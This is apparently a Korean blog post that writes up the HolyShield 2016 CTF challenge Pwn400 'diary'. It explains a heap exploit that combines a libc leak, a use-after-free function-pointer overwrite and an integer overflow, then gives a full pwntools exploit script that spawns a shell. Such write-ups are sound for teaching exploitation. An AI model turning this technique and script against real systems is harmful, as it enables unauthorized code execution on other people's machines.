ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • HoldyShield Pwn400 diary
    CTF 2016. 12. 22. 11:45

    diary는 무식하게 바이너리만 디게 크다.


    취약점이 발생하는 함수는 얼마없고, 트리거는 인티저오버플로우와 UAF 두개밖에없다.


    여기서 낚시가 존재하는데, 모든 plan은 100바이트만큼 입력이되지만 update시에 104만큼 받게된다. 하지만 이건 fake에 불과하다.


    대회당시에는 풀지못했다. 배점에 쫄았습니다




    처음에 이름과 나이, 젠더 등을 받는데, 여기서 필요한것은 딱 gender 밖에 없다.


    왜 gender가 중요하냐? 밑에 사진을 확인해보3 ! 





    Delete_plan함수인데, select로 입력을받고 입력받은값에서 -1 한 후, 99란 값이 되면 다음 if문으로 넘어가게되는데 character + 6 의 값을 확인하게된다.


    character + 6은 gender가 됨 흐흐 !! 




    디버깅을 해서 봐도 되고 이렇게 봐도된다.  암튼 gender 가 중요함 :) free를 못시키면 libc를 릭할수가없다.


    libc 릭은 간단하다. plan은 delete하면 당연히 bin이 정렬되지않아 unsorted bin으로 들어가게되는데 그럼으로 인해 main_arena+88이 fd,bk위치에 작성된다.




    print plan 함수를 이용하여 릭을 해낼수있고, 릭을 해냈으면 모든 가젯의 주소를 구할수있게된다.


    그럼 one shot도 알아서 구해내면되겠고, 그럼 여기가 free된 상태이니 다음 청크는 이곳에 할당이 될 것이다.


    memo와 plan은 청크 사이즈가 엄청 커서 안되니까 minigame을 이용하면됨 :) 


    미니게임 메뉴는 청크가 그리 크지않음 왜 저기서 uaf를 발생 시켜야되냐!


    아래 사진을 보면 됨




    0x401530주소는 함수포인터인데, plan에서의 complete, uncomplete를 체크해주는 함수임.


    저길 덮어줄수있다면 다음 함수로 트리거를 할 수 있음



    함수 포인터가 덮힌상태로 call이 되면 우리가 덮은 주소가 call되는데 이게 약간 문제가 있는 이유가 있음




    덮어줄수있지만, 마지막엔 미니게임의 money 값이 들어가기때문에 여기까지 다 못덮어줌.. 

    하지만 잘 생각해보면 money는 인티저오버플로가 가능하기때문에 0x7fff를 넣고싶으면 -32667을 넣으면 0x7fff를 만들수 있다




    0x7fff를 맞춰줬으면 원샷으로 그냥 때려박으면되지만 ASLR이 걸려있어 0x7f?? << 요롷게 한바이트가 랜덤이라 1바이트 브루트포싱만 좀 재밌게 해주면 알아서 쉘이 따인다.



    1. free를 호출시켜 print plan기능으로 libc_main_arena+88을 릭함

    2. offset 계산을 통해 원하는 가젯의 주소를 구함

    3. 함수포인터를 덮음

    4. 함수포인터를 call 함 

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    from pwn import *
     
    #
    # p = remote("1.224.175.34",10050)
    = remote("10.211.55.3",12345)
    def init():
        print p.recvuntil(":")
        p.sendline("/bin/sh")
        print p.recvuntil(":")
        p.sendline("19")
        print p.recvuntil(">>>")
        p.sendline("3")
        print p.recvuntil(":")
        p.sendline("A"*10)
     
    def money():
            print p.recvuntil(">>> ")
            p.sendline("100")
            print p.recvuntil("1 - 10.")
            p.sendline("5")
    def minigame():
        print p.recvuntil(">>> ")
        p.sendline("3")
        print p.recvuntil(">>> ")
        p.sendline("1")
        p.sendline("-677")
        p.sendline("1")
        p.sendline("777")
        p.sendline("1")
        p.sendline("F"*100)
        
     
     
     
     
    def writeplan(name,hour,min,intro):
        print p.recvuntil(">>> ")
        p.sendline("1")
        print p.recvuntil(">>> ")
        p.sendline("1")
        print p.recvuntil(">>> ")
        p.sendline("2")
        print p.recvuntil("name : ")
        p.sendline(name)
        print p.recvuntil("Hour : ")
        p.sendline(str(hour))
        print p.recvuntil("Min : ")
        p.sendline(str(min))
        print p.recvuntil("Intro : ")
        p.sendline(intro)
        p.sendline("6")
     
    def printplan():
        print p.recvuntil(">>> ")
        p.sendline("1")
        print p.recvuntil(">>> ")
        p.sendline("1")
        p.sendline("6")
     
    def deleteplan(idx):
        print p.recvuntil(">>> ")
        p.sendline("1")
        print p.recvuntil(">>> ")
        p.sendline("4")
        print p.recvuntil(">>> ")
        p.sendline(str(idx))
        print p.recvuntil(">>> ")
        p.sendline("6")
     
    def creatememo(title,contents):
        print p.recvuntil(">>> ")
        p.sendline("2")
        print p.recvuntil(">>> ")
        p.sendline("1")
        print p.recvuntil("title : ")
        p.send(title)
        print p.recvuntil("contents : ")
        p.sendline(contents)
        p.sendline("4")
    def update_plan(idx,name,hour,min,intro):
        print p.recvuntil(">>> ")
        p.sendline("1")
        print p.recvuntil(">>> ")
        p.sendline("3")
        print p.recvuntil(">>> ")
        p.sendline(str(idx))
        print p.recvuntil("name : ")
        p.sendline(name)
        print p.recvuntil("Hour : ")
        p.sendline(str(hour))
        print p.recvuntil("Min : ")
        p.sendline(str(min))
        print p.recvuntil("Intro : ")
        p.sendline(intro)
        print p.recvuntil("continue?")
        p.sendline("Y")
    def leak():
        print p.recvuntil(">>> ")
        p.sendline("1")
        print p.recvuntil(">>> ")
        p.sendline("4")
        print p.recvuntil(">>> ")
        p.sendline("2")
        print p.recvuntil(">>> ")
        p.sendline("4")
        print p.recvuntil(">>> ")
        p.sendline("100")
        print p.recvuntil(">>> ")
        p.sendline("1")
        print p.recvuntil("Plan name : ")
        libc_leak = u64(p.recv(6).ljust(8,'\x00'))
        p.sendline("6")
        return libc_leak
     
    if __name__ == "__main__":
        init()
        chunk_ptr = 0x6060D8
        exit_got = 0x6060a0
     
        # creatememo("A"*18,"A"*99)
        
        
        payload = "A"*16
        writeplan(payload,1,1,"C"*99)
        writeplan(payload,1,1,"D"*99)
        writeplan(payload,1,1,"E"*99)
        # writeplan(payload,1,1,"E"*99)
        libc_leak = leak()
        libc_base = libc_leak - 0x3be7b8
        one_shot = libc_base + 0x4647c
        minigame()
     
        payload = "A"*84 + p64(one_shot)
        p.sendline("-32667")
        p.sendline("1")
        p.sendline("32767")
        p.sendline("1")
     
     
        p.sendline(payload)
     
     
        # exit minigame & call function ptr 
        print p.recvuntil(">>> ")
        p.sendline("100")
        print p.recvuntil("10.")
        p.sendline("1")
        print p.recvuntil("comment")
        p.sendline("comment")
        print p.recvuntil(">>> ")
        p.sendline("3")
        print p.recvuntil(">>> ")
        p.sendline("1")
        print p.recvuntil(">>> ")
        p.sendline("5")
        p.sendline("1")
     
     
        log.info("LIBC_LICK: " + hex(libc_leak))
        log.info("ONESHOT: " + hex(one_shot))
        p.interactive()
    cs


    'CTF' 카테고리의 다른 글

    [BoB CTF] megabox  (0) 2017.01.04
    [christmas ctf 2016] who is solo 문제풀이  (0) 2016.12.25
    HolyShield pwn100  (0) 2016.12.20
    HolyShield 2016 PPC  (0) 2016.12.20
    SECCON CTF 2016 - chat  (0) 2016.12.13

    댓글

Designed by Tistory.